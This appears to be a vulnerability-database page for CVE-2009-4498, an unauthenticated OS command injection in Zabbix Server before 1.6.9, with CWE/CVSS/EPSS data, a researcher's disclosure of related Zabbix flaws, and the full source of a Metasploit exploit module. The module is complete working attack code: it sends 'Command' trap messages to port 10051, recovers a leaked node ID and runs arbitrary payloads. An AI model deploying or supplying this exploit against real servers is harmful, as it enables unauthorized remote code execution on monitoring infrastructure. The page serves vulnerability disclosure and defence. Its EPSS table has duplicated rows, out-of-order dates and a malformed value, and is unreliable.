CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
73.21%
–
–
2023-03-12
–
–
–
68.8%
–
2023-04-16
–
–
–
76.74%
–
2023-06-04
–
–
–
73.54%
–
2023-07-16
–
–
–
71.25%
–
2023-08-27
–
–
–
69.79%
–
2023-10-08
–
–
–
63.87%
–
2023-11-12
–
–
–
63.87%
–
2024-01-07
–
–
–
60.42%
–
2024-02-11
–
–
–
60.42%
–
2024-04-07
–
–
–
64.21%
–
2024-05-19
–
–
–
63.09%
–
2024-06-02
–
–
–
63.09%
–
2024-06-30
–
–
–
63.04%
–
2024-08-11
–
–
–
65.49%
–
2024-09-22
–
–
–
71.61%
–
2024-12-22
–
–
–
74.08%
–
2025-02-23
–
–
–
67.47%
–
2025-01-19
–
–
–
74.08%
–
2025-02-23
–
–
–
67.47%
–
2025-03-18
–
–
–
–
71.78%
2025-03-18
–
–
–
–
71.78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Server Arbitrary Command Execution',
'Description' => %q{
This module abuses the "Command" trap in Zabbix Server to execute arbitrary
commands without authentication. By default the Node ID "0" is used, if it doesn't
work, the Node ID is leaked from the error message and exploitation retried.
According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
},
'Author' =>
[
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4498' ],
[ 'OSVDB', '60965' ],
[ 'BID', '37989' ],
[ 'EDB', '10432' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Zabbix 1.6.7', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 10 2009'
))
register_options(
[
Opt::RPORT(10051),
], self.class)
end
def send_command(sock, node_id, cmd)
host_id = Rex::Text.rand_text_numeric(3)
msg = "Command\255"
msg << "#{node_id}\255"
msg << "#{host_id}\255"
msg << "#{cmd}\n"
sock.put(msg)
res = sock.get_once
return res
end
def check
peer = "#{rhost}:#{rport}"
node_id = 0
clue = Rex::Text.rand_text_alpha(rand(5)+5)
cmd = "echo #{clue}"
connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect
if res
print_status(res)
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
else
return Exploit::CheckCode::Safe
end
else # No response
return Exploit::CheckCode::Safe
end
# Retry with the good node_id
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
peer = "#{rhost}:#{rport}"
node_id = 0
cmd = payload.encoded
connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /-1/ and res=~ /NODE (\d*)/
# Retry with the good node_id
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
end
# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
if res and res =~ /\x30\xad/
print_good("#{peer} - Command executed successfully")
print_status("Output:\n#{res.split("\x30\xad").last}")
else
print_error("#{peer} - Failed to execute the command")
end
end
end
end
Zabbix Server : Multiple remote vulnerabilities From: Nicob <nicob () nicob net>
Date: Sun, 13 Dec 2009 16:28:35 +0100
From Wikipedia : "Zabbix is a network management system application
[...] designed to monitor and track the status of various network
services, servers, and other network hardware."
[Zabbix Server : Remote command execution]
Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1030
Patched version : 1.8
Faulty source code : function node_process_command() in
zabbix_server/trapper/nodecommand.c
Changelog entry : fixed security vulnerability in server allowing remote
unauthenticated users to execute scripts
[Zabbix Server : Remote SQL execution]
Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1031
Patched version : 1.6.8 (patch for 1.6.7 was insufficient)
Faulty source code : function send_history_last_id() in
zabbix_server/trapper/nodehistory.c
Changelog entry (1.6.7) : fixed security vulnerability in server,
allowing remote unauthenticated users to execute arbitrary SQL queries
Changelog entry (1.6.8) : added more security checks for communication
between nodes
[Zabbix Server : Remote DoS (NULL deref)]
Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-993
Patched version : 1.6.6
Faulty source code : function process_trap() in
zabbix_server/trapper/trapper.c
Changelog entry : fixed possible vulnerability of trapper
[Zabbix Server : Remote DoS (NULL deref)]
Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1355
Patched version : 1.6.8
Faulty source code : function zbx_get_next_field() in
libs/zbxcommon/str.c
Changelog entry : fixed possible server crash when receiving invalid
data